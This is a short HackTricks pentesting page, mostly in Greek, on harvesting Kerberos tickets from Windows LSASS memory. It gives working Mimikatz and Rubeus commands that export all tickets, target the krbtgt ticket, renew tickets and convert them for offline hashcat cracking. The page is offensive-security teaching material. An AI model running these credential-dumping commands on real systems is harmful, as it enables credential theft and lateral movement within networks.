Harvesting tickets from Windows

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Τα εισιτήρια στα Windows διαχειρίζονται και αποθηκεύονται από τη διαδικασία lsass (Local Security Authority Subsystem Service), η οποία είναι υπεύθυνη για την εκτέλεση πολιτικών ασφαλείας. Για να εξάγουμε αυτά τα εισιτήρια, είναι απαραίτητο να αλληλεπιδράσουμε με τη διαδικασία lsass. Ένας μη διαχειριστικός χρήστης μπορεί να έχει πρόσβαση μόνο στα δικά του εισιτήρια, ενώ ένας διαχειριστής έχει το προνόμιο να εξάγει όλα τα εισιτήρια στο σύστημα. Για τέτοιες λειτουργίες, τα εργαλεία Mimikatz και Rubeus χρησιμοποιούνται ευρέως, προσφέροντας το καθένα διαφορετικές εντολές και λειτουργίες.

Mimikatz

Το Mimikatz είναι ένα ευέλικτο εργαλείο που μπορεί να αλληλεπιδράσει με την ασφάλεια των Windows. Χρησιμοποιείται όχι μόνο για την εξαγωγή εισιτηρίων αλλά και για διάφορες άλλες σχετικές με την ασφάλεια λειτουργίες.

# Extracting tickets using Mimikatz
sekurlsa::tickets /export

Rubeus

Rubeus είναι ένα εργαλείο ειδικά σχεδιασμένο για αλληλεπίδραση και χειρισμό του Kerberos. Χρησιμοποιείται για την εξαγωγή και διαχείριση εισιτηρίων, καθώς και για άλλες σχετικές δραστηριότητες του Kerberos.

# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

Όταν χρησιμοποιείτε αυτές τις εντολές, βεβαιωθείτε ότι θα αντικαταστήσετε τις θέσεις όπως <BASE64_TICKET> και <luid> με το πραγματικό εισιτήριο κωδικοποιημένο σε Base64 και το Logon ID αντίστοιχα. Αυτά τα εργαλεία παρέχουν εκτενή λειτουργικότητα για τη διαχείριση εισιτηρίων και την αλληλεπίδραση με τους μηχανισμούς ασφαλείας των Windows.

Αναφορές

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/